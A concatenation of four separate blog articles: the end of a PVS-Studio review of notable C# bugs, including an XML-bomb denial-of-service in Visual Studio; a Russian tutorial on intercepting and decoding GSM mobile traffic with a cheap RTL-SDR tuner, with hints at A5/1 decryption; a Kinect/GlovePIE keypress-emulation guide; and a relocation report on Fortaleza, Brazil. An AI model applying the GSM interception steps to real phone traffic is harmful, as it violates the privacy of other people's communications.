PVS-Studio warning [V3080](https://pvs-studio.com/en/docs/warnings/v3080/): Possible null dereference. Consider inspecting 'langVersion'. AnalysisFacts.cs 20
The code checks that the passed langVersion parameter is not null. The developer assumed that null could be passed when we call the *IsAutoloadDeprecated* method. Does the check save us?
No. If the *langVersion* variable is *null*, the value of the first part of the expression is false. When we calculate the second part, an exception is thrown.
Judging by the comment, either the priorities of operators were mixed up, or developers simply put the bracket incorrectly. By the way, this and other errors are gone (I believe) — we [sent](https://github.com/peachpiecompiler/peachpie/issues/977) a bug report to the developers, and they quickly fixed them. You can see a new version of the *IsAutoloadDeprecated* function [here](https://github.com/peachpiecompiler/peachpie/blob/17cbde79f7d7367da8277f36a4203ace34fae16f/src/Peachpie.CodeAnalysis/FlowAnalysis/AnalysisFacts.cs).
### 4th place. Processing a non-existent page
We are almost close to the finalists. But before that — the 4th place. And here we have the warning from [the last article about Umbraco](https://pvs-studio.com/en/blog/posts/csharp/0898/). What do we have here?
```
public ActionResult> GetPagedChildren(....
int pageNumber,
....)
{
if (pageNumber <= 0)
{
return NotFound();
}
....
if (objectType.HasValue)
{
if (id == Constants.System.Root &&
startNodes.Length > 0 &&
startNodes.Contains(Constants.System.Root) == false &&
!ignoreUserStartNodes)
{
if (pageNumber > 0) // <=
{
return new PagedResult(0, 0, 0);
}
IEntitySlim[] nodes = \_entityService.GetAll(objectType.Value,
startNodes).ToArray();
if (nodes.Length == 0)
{
return new PagedResult(0, 0, 0);
}
if (pageSize < nodes.Length)
{
pageSize = nodes.Length; // bah
}
var pr = new PagedResult(nodes.Length, pageNumber, pageSize)
{
Items = nodes.Select(\_umbracoMapper.Map)
};
return pr;
}
}
}
```
PVS-Studio warning: [V3022](https://pvs-studio.com/en/docs/warnings/v3022/) Expression 'pageNumber > 0' is always true. EntityController.cs 625
So, *pageNumber* is a parameter that isn't changing inside the method. If its value is less than or equal to 0, we exit from the function. Further on, the code checks whether *pageNumber* is greater than 0.
Here we have a question: what value should we pass to *pageNumber* to make conditions *pageNumber <= 0* and *pageNumber > 0* false?
Obviously, there's no such value. If check *pageNumber <= 0* is *false*, then *pageNumber > 0* is always true. Is it scary? Let's look at the code after the always-true check:
```
if (pageNumber > 0)
{
return new PagedResult(0, 0, 0);
}
IEntitySlim[] nodes = \_entityService.GetAll(objectType.Value,
startNodes).ToArray();
if (nodes.Length == 0)
{
return new PagedResult(0, 0, 0);
}
if (pageSize < nodes.Length)
{
pageSize = nodes.Length; // bah
}
var pr = new PagedResult(nodes.Length, pageNumber, pageSize)
{
Items = nodes.Select(\_umbracoMapper.Map)
};
return pr;
```
Since the check in the beginning of this fragment is always *true*, the method always exits. And what about the code below? It contains a bunch of meaningful operations, but none of them is ever executed!
It looks suspicious. If *pageNumber* is less than or equal to *0*, the default result is returned – *NotFound()*. Seems logical. However, if the parameter is greater than 0, we get... something that looks like the default result – *new PagedResult(0, 0, 0)*. And how do we get a normal result? Unclear :(.
### 3d place. The rarest error
So, here are the finalists. The third place is for the [V3122](https://pvs-studio.com/en/docs/warnings/v3122/) diagnostic that haven't detected errors in open-source projects for a long time. Finally, in 2021 we checked [DotNetNuke](https://pvs-studio.com/en/blog/posts/csharp/0890/) and found even 2 warnings [V3122](https://pvs-studio.com/en/docs/warnings/v3122/)!
So, I present you the 3d place:
```
public static string LocalResourceDirectory
{
get
{
return "App_LocalResources";
}
}
private static bool HasLocalResources(string path)
{
var folderInfo = new DirectoryInfo(path);
if (path.ToLowerInvariant().EndsWith(Localization.LocalResourceDirectory))
{
return true;
}
....
}
```
PVS-Studio warning: [V3122](https://pvs-studio.com/en/docs/warnings/v3122/) The 'path.ToLowerInvariant()' lowercase string is compared with the 'Localization.LocalResourceDirectory' mixed case string. Dnn.PersonaBar.Extensions LanguagesController.cs 644
The developers convert the path value to lowercase. Then, they check whether it ends in a string that contains uppercase characters – "App\_LocalResources" (the literal returned from the LocalResourceDirectory property). Obviously, this check always returns *false* and everything looks suspicious.
This warning reminds me that no matter how many errors we've seen, there's always something that can surprise us. Let's go further :).
### 2d place. There is no escape
The second place is for an excellent warning from the [ILSpy article](https://pvs-studio.com/en/blog/posts/csharp/0794/) written in the beginning of 2021:
```
private static void WriteSimpleValue(ITextOutput output,
object value, string typeName)
{
switch (typeName)
{
case "string":
output.Write( "'"
+ DisassemblerHelpers
.EscapeString(value.ToString())
.Replace("'", "\'") // <=
+ "'");
break;
case "type":
....
}
....
}
```
[V3038](https://pvs-studio.com/en/docs/warnings/v3038/) The '"'"' argument was passed to 'Replace' method several times. It is possible that other argument should be passed instead. ICSharpCode.Decompiler ReflectionDisassembler.cs 772
Seems like the developer wanted to replace all single quote character occurrences with a string consisting of two characters: a backslash and a single quote character. However, due to peculiarities with escape sequences, the second argument is just a single quote character. Therefore, no replacing here.
I came up with two ideas:
* the developers forgot to put the '@' character before the second string. This character would just allow saving '\' as a separate character;
* They should have put an additional '\' before the first one in the second argument. The first one would escape the second, which means the final string would have only one '\'.
### 1st place. The phantom menace
So, we have finally reached the most interesting and unusual error of 2021. This error is from the [DotNetNuke article](https://pvs-studio.com/en/blog/posts/csharp/0890/) mentioned above.
What's even more interesting, the error is primitive, but the human eye misses errors like this one without static analysis tools. Bold statement? Well then, try to find an error here (if there is one, of course):
```
private void ParseTemplateInternal(...., string templatePath, ....)
{
....
string path = Path.Combine(templatePath, "admin.template");
if (!File.Exists(path))
{
// if the template is a merged copy of a localized templte the
// admin.template may be one director up
path = Path.Combine(templatePath, "..\admin.template");
}
....
}
```
Well, how's it going? I won't be surprised if you find an error. After all, if you know it exists, you'll quickly see it. And if you didn't find — well, no surprise either. It's not so easy to see a typo in the comment — 'templte' instead of 'template' :).
Joking. Of course there is a real error the disrupts the program's work. Let's look at the code again:
```
private void ParseTemplateInternal(...., string templatePath, ....)
{
....
string path = Path.Combine(templatePath, "admin.template");
if (!File.Exists(path))
{
// if the template is a merged copy of a localized templte the
// admin.template may be one director up
path = Path.Combine(templatePath, "..\admin.template");
}
....
}
```
PVS-Studio warning: [V3057](https://pvs-studio.com/en/docs/warnings/v3057/) The 'Combine' function is expected to receive a valid path string. Inspect the second argument. DotNetNuke.Library PortalController.cs 3538
Here we have two operations to construct a path (the *Path.Combine* call). The first one is fine, but the second one is not. Clearly, in the second case, the developers wanted to take the 'admin.template' file not from the *templatePath* directory, but from the parent one. Alas! After they added ..\, the path became invalid since an escape sequence was formed: ..**\a**dmin.template.
Looks like the previous warning, right? Not exactly. Still, the solution is the same: add '@' before the string, or an additional '\'.
### 0 place. "lol' vs Visual Studio
Well, since the first element of the collection has index 0, our collection should also have 0 place!
Of course, the error here is special, going beyond the usual top. And yet it's worth mentioning, since the error was found in the beloved Visual Studio 2022. And what does static analysis have to do with it? Well, let's find an answer to it.
My teammate, [Sergey Vasiliev](https://twitter.com/_SergVasiliev_), found this problem and described it in article "[How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it](https://pvs-studio.com/en/blog/posts/csharp/0865/)". Here I'll briefly describe the situation.
In Visual Studio 2022 Preview 3.1, a particular XML file added to a project makes the IDE lag. Which means everything will suffer along with this IDE. Here's an example of such a file:
```
xml version="1.0"?
]>
&lol15
```
As it turned out, Visual Studio was vulnerable to an [XEE](https://pvs-studio.com/en/blog/terms/6545/) attack. Trying to expand all these lol entities, and IDE froze and ate up enormous amount of RAM. In the end, it just ate up all memory possible :(.
This problem was caused by the use of an insecurely configured XML parser. This parser allows DTD processing and doesn't set limitations on entities. My advice: don't read external files from unknown source with an XML parser. This will lead to a [DoS](https://owasp.org/www-community/attacks/Denial_of_Service) attack.
Static analysis helps find such problems. By the way, PVS-Studio has recently introduced a new diagnostic to detect potential XEE — [V5615](https://pvs-studio.com/en/docs/warnings/v5615/).
We sent Visual Studio a [bug report](https://developercommunity.visualstudio.com/t/Visual-Studio-2022-Preview-is-vulnurable/1521704) about that, and they fixed it in the new version. Good job, Microsoft! :)
### Conclusion
Unfortunately, in 2021 we haven't written so many articles about real project checks. On the other hand, we wrote a number of other articles related to C#. You can find the links in the end of this article.
It was easy to choose interesting warnings for this top. But it wasn't easy to choose the 10 best ones since there were much more of them.
Rating them was also a hell of a task — the top is subjective, so don't take the places too close to heart :). One way or another, all these warnings are serious and once again remind us that we're doing the right thing.
Are you sure that your code doesn't have such problems? Are you sure that the errors don't hide between the lines? Perhaps, you can never be sure about that with a large project. However, this article shows that small (and not very small) errors can be found with static analyzer. That's why I invite you to [try PVS-Studio](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=top10_csharp&utm_term=link_try-free) on your projects.
Well, that's all. Happy New Year and see you soon!
### Interesting articles in 2021
I have collected several articles that you can catch up with during long winter evenings :).
* [All hail bug reports: how we reduced the analysis time of the user's project from 80 to 4 hours](https://pvs-studio.com/en/blog/posts/csharp/0885/)
* [OWASP Top Ten and Software Composition Analysis (SCA)](https://pvs-studio.com/en/blog/posts/csharp/0876/)
* [What's new in C# 10: overview](https://pvs-studio.com/en/blog/posts/csharp/0875/)
* [What's new in C# 9: overview](https://pvs-studio.com/en/blog/posts/csharp/0860/)
* [XSS: attack, defense - and C# programming](https://pvs-studio.com/en/blog/posts/csharp/0857/)
* [Enums in C#: hidden pitfalls](https://pvs-studio.com/en/blog/posts/csharp/0844/)
* [How WCF shoots itself in the foot with TraceSource](https://pvs-studio.com/en/blog/posts/csharp/0837/)
* [The ?. operator in foreach will not protect from NullReferenceException](https://pvs-studio.com/en/blog/posts/csharp/0832/)
* [Hidden reefs in string pool, or another reason to think twice before interning instances of string class in C#](https://pvs-studio.com/en/blog/posts/csharp/0820/)
* [Should we initialize an out parameter before a method returns?](https://pvs-studio.com/en/blog/posts/csharp/0800/) | https://habr.com/ru/post/598209/ | null | en | null |
# Декодируем GSM с RTL-SDR за 30$
Доброе время суток, Хабр!
Мы живем в удивительное предсингулярное время. Технологии развиваются стремительно. То, что несколько лет назад казалось фантастикой, сегодня становится реальностью. Удивительно, но сейчас при наличии компьютера с простым ТВ-тюнером можно принимать координаты самолетов и кораблей, спутниковые снимки, данные метеозондов.
Я не являюсь специалистом в области информационной безопасности, все операции были проделаны исключительно в целях обучения. В данном тексте речь пойдет о том, как произвести декодирование (не дешифрование) GSM-трафика. По традиции вместо эпиграфа:
> Статья 138 УК РФ. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений
>
> 1. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений граждан — наказывается штрафом в размере до восьмидесяти тысяч рублей или в размере заработной платы или иного дохода осужденного за период до шести месяцев, либо обязательными работами на срок до трехсот шестидесяти часов, либо исправительными работами на срок до одного года.
##### Основные вехи
* 1991 — опубликованы первые спецификации стандарта GSM.
* 2005 — первое упоминание ~~в летописях~~ ТВ-тюнеров на чипе E4000.
* 2008 — на конференции Black Hat [продемонстрирован взлом](http://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&ved=0CCwQFjAA&url=http%3A%2F%2Fwww.blackhat.com%2Fpresentations%2Fbh-dc-08%2FSteve-DHulton%2FPresentation%2Fbh-dc-08-steve-dhulton.pdf&ei=w_B0Utr6MKWB4gSViIDYCg&usg=AFQjCNF2YOCA7qugTRNFU23eYUcU4d-cig&sig2=f30TrnnWFTQ-6bwbjIHdxA&bvm=bv.55819444,d.bGE) GSM при помощи SDR-приемника USRP ценой около 1000$.
* 2008 — первый коммит в публичном репозитории [Osmocom OpenBSC](http://openbsc.osmocom.org/trac/wiki), реализующем ПО контроллера базовых станций GSM.
* 2008 — первые коммиты в проекте [Airprobe](https://svn.berlin.ccc.de/projects/airprobe/). Внимание, по ссылке проблемы с сертификатом.
* 2009 — Карстен Нол [демонстрирует способ взлома](http://habrahabr.ru/post/79631/) алгоритма шифрования A5/1.
* 2010 — первый коммит в публичном репозитории проекта [OsmocomBB](http://bb.osmocom.org/trac/), реализующем стек протоколов GSM на железе [обычных телефонов](http://bb.osmocom.org/trac/wiki/Hardware/Phones).
* 2010 — [презентация Kraken](http://habrahabr.ru/post/99804/) — ПО, позволяющего дешифровать данные GSM, зашифрованные при помощи алгоритма A5/1. Демонстрация производилась при помощи обычного телефона.
* 2013 — В блоге RTL-SDR опубликован [мануал по декодированию](http://www.rtl-sdr.com/rtl-sdr-tutorial-analyzing-gsm-with-airprobe-and-wireshark/) трафика GSM.
* 2013 — Домонкош Томчаний опубликовал [очередной способ](http://domonkos.tomcsanyi.net/?p=428) взлома GSM.
##### Перехват
Для перехвата нам понадобятся:
* Сам [тюнер](http://www.ebay.com/sch/i.html?_trksid=p2050601.m570.l1313&_nkw=elonics+e4000&_sacat=0&_from=R40) на базе E4000. Месторождение этих чипов исчерпано, поэтому цена тюнеров на их базе со временем растет. Остальные чипы тоже годятся, но они не поддерживают диапазон GSM1800/1900.
* 75-омная антенна. Пойдет и штатная от тюнера. Я разместил обычную телевизионную антенну на подоконнике вот таким экстравагантным способом, прокинув USB-удлинитель.

* Машина с установленным дистрибутивом семейства Debian. Убунту подойдет. Я использовал старый ноутбук с Kali Linux, к которому коннектился через ssh по Wi-Fi. Раскочегарить с первой попытки ПО под Федору мне не удалось, я решил особо не ломать голову и поступить как в примере. **Грабли №0**: если будете делать установочную флэшку с Kali Linux — прочитайте [вот это](http://ru.docs.kali.org/installation-ru/установка-с-usb-флэш-с-kali-linux-live). Unetbootin не создаст рабочего образа.
* Изрядное количество терпения и вот эта [инструкция](http://www.rtl-sdr.com/receiving-decoding-decrypting-gsm-signals-rtl-sdr/).
Расписано все довольно подробно, я лишь прокомментирую только те грабли, на которые наступил сам.
**Грабли №1**: не стоит ставить последнюю версию GNURadio. Начиная с версии 3.7.0 меняются пространства имен и собрать ПО не получится. Используйте версию 3.6.5. Также проверяйте ветки в git-репозитории airprobe. Тегами и комментариями там указано с какой версией GNURadio нужно собирать проекты.
**Грабли №2**: не забудьте поставить dev-пакеты вдобавок ко всем перечисленным.
**Грабли №3**: найти рабочую частоту GSM с помощью SDRSharp зачастую нелегко. Домонкош Томчаний предлагает для этой цели программу [kalibrate-rtl](https://github.com/steve-m/kalibrate-rtl). Она выдаст нечто вроде:
```
username@hostname:~$ kal -s GSM900
Found 1 device(s):
0: Terratec T Stick PLUS
Using device 0: Terratec T Stick PLUS
Found Elonics E4000 tuner
Exact sample rate is: 270833.002142 Hz
kal: Scanning for GSM-900 base stations.
GSM-900:
chan: 10 (937.0MHz - 20.572kHz) power: 1467419.20
chan: 12 (937.4MHz - 20.602kHz) power: 242714.33
chan: 25 (940.0MHz - 20.308kHz) power: 364373.98
chan: 32 (941.4MHz - 20.340kHz) power: 1562694.12
chan: 52 (945.4MHz - 20.100kHz) power: 206568.21
chan: 54 (945.8MHz - 20.184kHz) power: 628970.43
chan: 71 (949.2MHz - 20.052kHz) power: 396199.27
chan: 86 (952.2MHz - 20.081kHz) power: 1095374.22
chan: 112 (957.4MHz - 20.047kHz) power: 594273.38
```
Выбираем канал с амплитудой побольше и запускаем перехват на нем. В консоли появятся байтики GSM-трафика:
```
168815 0: 49 06 1b 0a 35 52 f0 10 00 e8 c8 02 28 13 65 45 bd 00 00 83 1f 40 1b
168819 0: 15 06 21 00 01 f0 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b
168825 0: 41 06 21 a0 05 f4 44 46 03 b7 17 05 f4 16 4e fc 29 2b 2b 2b 2b 2b 2b
168829 0: 41 06 21 a0 05 f4 41 4d ef 18 17 05 f4 1d 5c 2a 63 2b 2b 2b 2b 2b 2b
168835 0: 4d 06 24 a0 f6 ce c3 7a df d4 7e 21 fc 80 0a 40 cb 25 e2 3c d3 2b 2b
168839 0: 49 06 22 a0 d1 6c 9f 44 11 40 57 92 17 05 f4 ef 59 34 1d cb 2b 2b 2b
168845 0: 41 06 21 a0 05 f4 35 4a 5b 9d 17 05 f4 20 4a 56 e2 2b 2b 2b 2b 2b 2b
168849 0: 25 06 21 20 05 f4 e8 24 47 7f 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b
168855 0: 49 06 22 a0 c8 9c 63 0a ee e8 45 0c 17 05 f4 d3 04 7f 49 cb 2b 2b 2b
168859 0: 41 06 21 a0 05 f4 d8 5f d2 1f 17 05 f4 51 42 81 53 2b 2b 2b 2b 2b 2b
```
##### Выводы
Пара слов о дешифровании. Для него, судя по всему, помимо 30$ за тюнер, придется потратиться еще на двухтерабайтный винчестер под радужные таблицы. Скрипт для их генерации нашелся в репозитории Airprobe, думается, что и Kraken найти проблемы не составит.
Чем конкретно этот способ интересен? Тем, что на его базе можно строить дешевые, но довольно серьезные **универсальные системы** перехвата. Ведь есть еще DECT (ссылки не будет, сайт Osmocom DECT временно лежит), который широко применяется в офисах. Шифрование там послабее, а секреты посерьезнее.
Ну и двухфакторная аутентификация теперь под вопросом.
«Неужели все так плохо?» — спросите вы.
Не совсем. 3G-трафик перехватить таким способом **пока** не удастся — слишком широкая полоса сигнала. Но злоумышленнику никто не запрещает производить перехват в месте, где такого покрытия нет или с постановкой помехи. И прогресс не стоит на месте. Когда железо типа [HackRF Jawbreaker](http://habrahabr.ru/company/dsec/blog/193618/) станет дешевле и популярнее, перехват 3G на нем не заставит себя долго ждать.
Благодарю за внимание. | https://habr.com/ru/post/200914/ | null | ru | null |
# Kinect + GlovePIE или как начать разработку для игр
Разобраться с Kinect SDK не составляет труда – в интернете можно быстро найти множество обучающих видео, где подробно расписан процесс создания Kinect приложения и обработки ключевых моментов.
Первая проблема, с которой я столкнулся – это то, что не все приложения, в особенности игры, работают со стандартным циклом сообщений. Именно о решении этой проблемы и пойдет речь в данной статье.
Если оконные приложения работают на цикле сообщений, то игры зачастую считывают нажатия непосредственно с устройств. Соответственно решением проблемы стало бы написание собственного драйвера, но это заняло бы слишком много времени, особенно если отсутствует опыт в создании драйверов, а ведь нас интересует совершенно другое.
[GlovePIE](http://glovepie.org/glovepie_download.php) это автономное приложение с собственным скриптовым языком, позволяющее сразу писать эмуляторы для различных устройств, будь то клавиатура или джойстик. Вторая особенность этого приложения – оно работает так же с циклом сообщений, что и позволит нам эмулировать нажатие клавиш при помощи функции PostMessage.
Нам понадобиться небольшой и донельзя очевидный скрипт, так как он будет обрабатывать сообщения от нашего приложения, а не непосредственные нажатия:
A = A
S = S
Space = Space
Сохраняем его под каким-либо именем с раширением .PIE, далее он нам пригодиться при запуске GlovePIE в коде. Следующий шаг – написание собственного класса на C#, который будет посылать сообщения программе, тем самым эмулируя нажатие на соответствующие клавиши.
```
using System;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
class KeyEmulator
{
const UInt32 WM_KEYDOWN = 0x0100;
const UInt32 WM_KEYUP = 0x0101;
Process GlovePIE;
public KeyEmulator()
{
if(GlovePIE == null)
{
GlovePIE = new Process();
GlovePIE.StartInfo = new ProcessStartInfo(“path_to_glovepie\\PIEFree.exe”, “-emulator.PIE”);
if(!GlovePIE.Start())
throw new Exception(“Can’t start emulator process”);
}
}
}
```
В конструкторе можно добавить дополнительные параметры инициализации или вообще по умолчанию считать, что нужный скрипт запущен и только присоединяться к процессу. Осталось добавить в класс функцию, которая бы посылала сигнал:
```
[DllImport("user32.dll")]
static extern bool PostMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
public bool KeyDown(int key_id)
{
bool result = PostMessage(GlovePIE.MainWindowHandle, WM_KEYDOWN, (IntPtr)key_id, (IntPtr)0);
Thread.Sleep(99);
return result;
}
```
Необходимо указать код клавиши, которую мы хотим эмулировать. Собщение будет отправлено GlovePIE, а тот с свою очередь создаст эмуляцию непосредственного нажатия клавиши на клавиатуре.
Возможно это выглядит не так красиво со стороны: сторонняя программа, которую нужно будет запускать вместе с основным приложением. Но все же это простой и доступный способ посылать сообщения любым приложениям. | https://habr.com/ru/post/136823/ | null | ru | null |
# Переезд в Бразилию: Форталеза как локация для удалённой работы
Вид на Форталезу с пляжа МирелешМы приехали в Бразилию семьёй с двумя детьми на три месяца для того, чтобы устроить тест-драйв этой страны и понять хотим ли мы тут жить. После первого месяца в Бразилии расскажу чем, на мой взгляд, город, в котором мы живём, Форталеза, может быть интересен другим удалёнщикам и как мы видим свою жизнь здесь. Будет всё, от виз и вопроса безопасности до месячного бюджета и школ для детей.
Статья разделена на семь частей - это те аспекты, на которые мы всегда обращаем особое внимание планируя следующий переезд:
* Климат
* Безопасность
* Образование для детей
* Стоимость жизни
* Виза
* Налоги
* Стиль/качество жизни
### Климат
Вид на один из центральных городских пляжей в районе МирелешКлимат это то, что меня вообще в первую очередь привлекло в Форталезе и заставило посмотреть на это место поближе. Форталеза - это один из крупнейших городов в регионе Нордеште, который находится на бразильском тропическом побережье Атлантического океана. Нас местный климат привлекает тем, что здесь по-сути лето круглый год, весь год дневная температура держится около +30 градусов и вода около +28 градусов.
Лето круглый год - это то что мы искалиИнтересная особенность Форталезы это постоянный морской бриз. Мы с женой шутим, что у нас в квартире есть естественный кондиционер - достаточно просто открыть пару окон и действительно чувствуешь постоянный ветер со стороны моря, не нужно даже кондиционер всё время включать.
Еще одна интересная особенность Форталезы - это большое количество солнечных часов. Самым солнечным городом в Европе считается Лиссабон с 2,800 солнечных часов в год (Москва около 1,700/Берлин - 1,600), а в Форталезе это 2,880 часов голубого неба и солнечной погоды в течениe года. Депрессии из-за серой погоды здесь у нас точно не будет!
Плавательный сезон круглый год - это очень хорошоКогда местные устают от жары и солнца они едут в горный городок Гуарамиранга всего в 100 километрах от Форталезы. Этот городок находиться на высоте почти 900 метров над уровнем моря и здесь температура по ночам иногда опускается "аж до +15 градусов", ну и в целом в течениe года здесь значительно прохладнее.
Вид на горы, Гуарамиранга, дневная поездка из ФорталезыЕще одна интересная штука в Форталезе для семей с детьми, это натуральные бассейны, которые образуются на берегу океана среди камней. В таких местах обожают купаться дети - там не глубоко, не бывает больших волн и вода еще немного теплее.
Плюс еще и то, что в Форталеза нет комаров и малярии, которые часто ассоциируются с тропическим климатом. Не знаю как здесь в сезон дождей, который длится с начала года где-то до мая, но сейчас, летом, комаров нет вообще.
")Сок из свежего кокоса обязательная ежедневная часть рациона, стоит 3 рeала ($0.60)Нам очень нравится такой климат потому, что теплая солнечная погода очень сильно влияет на наше с супругой настроение. Может не у всех так, но когда мы просыпаемся утром, а за окном солнышко, голубое небо, тепло, вид на море... сразу все проблемы кажутся не такими значительными и с самого утра получаешь заряд бодрости и позитива. Это очень классно и действительно климат влияет на наш уровень комфорта очень значительно.
### Безопасность
Кафе на набережной Бейра Мар, иногда кажется что мы где-то на юге Испании Наверное лучше всего то что я на данный момент вижу описывает фраза одного бразильца:
`"В Бразилии есть разные Бразилии."`
Есть ощущение, что Форталеза разделена на два разных города. Один из них это два-три района у набережной и немного вглубь города, где выходя на улицу чувствуешь себя примерно как в Южной Европе. Есть нормальные дороги, светофоры, велодорожки, парки для выгула собак, доставка продуктов за 10 минут через приложение, люди спокойно гуляющие по улице днём, вечером и особенно ночью когда темнеет и жара спадает. Но если пройти пешком за пределы этих районов то можно просто визуально наблюдать как город меняется: светофоры для пешеходов и велодорожки пропадают, появляются люди спящие на асфальте, улицы которые выглядят так как-будто ты в Европе, сменяются на улицы которые выглядят так как будто ты действительно где-то в Луанде.
При этом та *"zona nobre"* или "благородная часть города" действительно очень-очень комфортна. За этот почти месяц у нас не было ни одной неприятной ситуации на улице, ни одного конфликта, даже продавцы на улице гораздо более вежливы чем во многих других туристических городах и не дергают вас за руку предлагая что-то купить. Я без проблем выходил на пробежку в двенадцатом часу ночи, мы без проблем оставляли вещи на пляже и шли купаться все вместе, вот просто абсолютно ничего негативного не произошло. Более того даже когда я выходил побегать ночью я не видел каких-нибудь "деклассированных элементов" бродящих по ночным улицам. Честно скажу, что в Луанде или Йоханнесбурге было гораздо стрёмнее выходить на улицу ночью, чем здесь. Наверноe единственным негативным моментом с точки зрения безопасности стало то, что один раз за этот месяц мы слышали ночью два выстрела где-то в отдалении на улице. Это было неприятно, конечно.
Конечно, я сейчас говорю именно о *zona nobre*, а не о всём городе. Подозреваю что остальные 95% города ночью выглядят совсем по-другому т.к. там нет такого количества камер и полицейских патрулей, но тем не менее вот конкретно в пределах этих 5% города мы чувствуем себя пока совершенно спокойно, свободно и очень комфортно.
Конная полиция патрулирует набережную. По-моему их основная функция это позировать для фотографий с детьми, ни разу не видел их в погоне на конях за кем-то!Если вы приезжаете в неизвестный вам город в Бразилии и не знаете где остановиться есть один лайфхак, которым я с вами поделюсь. В Бразилии уровень благополучия районов измеряют через [Human Development Index (HDI)](https://ourworldindata.org/human-development-index#:~:text=The%20Human%20Development%20Index%20(HDI)%20provides%20a%20single%20index%20measure,a%20long%20and%20healthy%20life). Это показатель, который оценивает уровень образования жителей, продолжительность жизни и уровень доходов (с поправкой на местную покупательскую способность). Показатель этого индекса можно найти буквально для каждого района или муниципалитета в Бразилии. Безопасными и хорошими районами можно считать те, где этот индекс приближается к 0,95. В Форталезе это Алдеота (0.945) и Мирелеш (0.95). Для сравнения индекс HDI в Германии (0.947), в Португалии (0.864), а в России (0.824). Да, мы сравниваем тут большие страны с небольшими районами, в рамках которых значительно легче обеспечить высокий уровень жизни, но именно это я и пытаюсь передать - Бразилия бывает очень разной, в зависимости от того где и как вы будете жить. Даже в Форталезе есть районы где уровень образованности, продолжительность жизни и доходы (с поправкой на местные цены) не хуже средних по Германии. Как правило высокий показатель HDI в Бразилии коррелирует с низким уровнем преступности, поэтому если нет других рекомендаций всегда выбирайте район с наиболее высоким HDI.
### Стоимость жизни
Работать из такого кафе на пляже думаю сложно, но есть коворкингиВ этой части я расскажу каким я вижу наш бюджет на жизнь в Форталезе в том случае если мы переедем в этот город надолго. Конечно, сейчас когда мы приехали как туристы, живём в Аирбнб, изучаем местные рестораны и магазины и вообще особо не экономим, мы тратим больше. В бюджет на длительный срок я закладываю аренду квартиры на год и более, то есть нормальные, а не туристические расходы.
Для начала сравним стоимость жизни в Форталезе с несколькими крупными европейскими городами:
Форталеза примерно в два раза дешевле Лиссабона.Примерно в два с половиной раза дешевле Берлина.Чуть более чем в два раза дешевле чем Москва.Сразу поделюсь тем как я вижу наш потенциальный бюджет на долгосрочное пребывание в Форталезе:
`Аренда - 2,500 рeалов ($500)`
`Обслуживание кондо - 500 рeалов ($100)`
`Электричество/вода/газ - 300 рeалов ($60)`
`Питание/покупки в магазине - 2,000 рeалов ($400)`
`Развлечения - 2,000 рeалов ($400)`
`Школа/садик - 1,500 рeалов ($300)`
`Другое/непредвиденное - 1,250 рeалов ($250)`
`Всего: 10,050 рeалов ($2,010)`
Теперь посмотрим на детали.
Недвижимость это вероятно самая приятная часть бюджета. Ниже приведу несколько вариантов того что можно снять на длительный срок за 2,500 рeалов ($500). Вдобавок к этой сумме обычно необходимо отдельно оплатить стоимость обслуживания дома (уборка, бассейн, тренажёрный зал) - в среднем это еще $80-$100 в месяц.
Трехкомнатная квартира, 75 квадратных метров, хороший комплекс, очень близко к морю, $500 в месяцВ целом за $500-$600 в месяц можно жить в очень комфортной трёх или даже четырёх-комнатной квартире в современном комплексе c бассейном, тренажёрным залом и охраной. По сути это как жизнь в гостинице, при желании вы можете даже не выходить из такого комплекса.
, сушка, если надо, еще столько же")У нас в квартире нет стиральной машины, одна стирка в прачечной стоит 15 рeалов ($3), сушка, если надо, еще столько жеПродукты. Многие международные бренды здесь дороже чем в Европе, какие-нибудь чипсы, хлопья на завтрак, знакомая марка кетчупа и т.д. будут стоить дороже. Молоко и молочные продукты стоят дорого и не очень хорошего качества. С другой стороны есть много дешевых фруктов, иногда просто по смешным ценам. В целом на мой взгляд продукты выходят примерно как в Португалии.
Развлечения, которые в первую очередь представлены ресторанами и пляжными клубами здесь стоят очень доступно. Сходить в отличный ресторан-родизио (бразильский буфет где вас пытаются закормить жареным мясом до смерти) семьёй с двумя детьми можно примерно за $25 - $40, это будет одно из лучших мест в городе с живой музыкой и парковщиком машин у входа.
Родизио - свободный буфет для гарнира и нескончаемый поток официантов приносящих мясо к столуПообедать в каком-то местном кафе будет стоить от $10 до $20 на семью. Мы даже нашли одно место где можно позавтракать за $3 с человека. Это такой простой завтрак шведский стол, но можно плотно поесть на полдня!
Убер стоит дешево, в среднем поездка по центру города будет стоить до $3, куда-то на окраину или пляж за городом $4-$5 за поездку.
 но мы почти не пользуемся из-за дешевизны такси")Общественный транспорт стоит 3,60 рeала ($0,70) но мы почти не пользуемся из-за дешевизны таксиПро стоимость школы и доступные варианты подробнее будет в отдельном разделе ниже.
Еще немного остаётся на другие расходы, например вы можете захотеть купить частную страховку здоровья. Государственная медицина в Бразилии бесплатна, в том числе для иностранцев, но она часто оставляет желать лучшего.
В этом доме мы сняли трехкомнатную квартиру на месяц через Аирбнб за 550 евро. Бронировать нужно сильно заранее.В целом на мой взгляд на $2,000 в месяц семья с двумя детьми сможет здесь жить очень комфортно и ни в чем себе не отказывать. Такой же образ жизни в Европе будет стоить в два или три раза дороже. При этом большим плюсом Бразилии является то, что вы можете здесь жить не просто недорого, но и по-европейски, с европейской кухней, культурой, европейским языком и т.д. Это не Индонезия где для дешёвой жизни нужно питаться какой-то местной едой в местныx кафешках-варунгах. Нет, это место где можно чувствовать себя как в Южной Европе и при этом жить недорого.
### Образование для детей
Одна из популярных сетей частных школ в городеКак это ни удивительно в Форталезе есть достаточно большой выбор школ для детей. Есть конечно местные частные школы на португальском, которые будут стоить дешевле, но есть и международные школы с разумными расценками.
Хорошие местные школы будут стоить в среднем от 750 до 2,000 рeалов ($150-$400) в месяц.
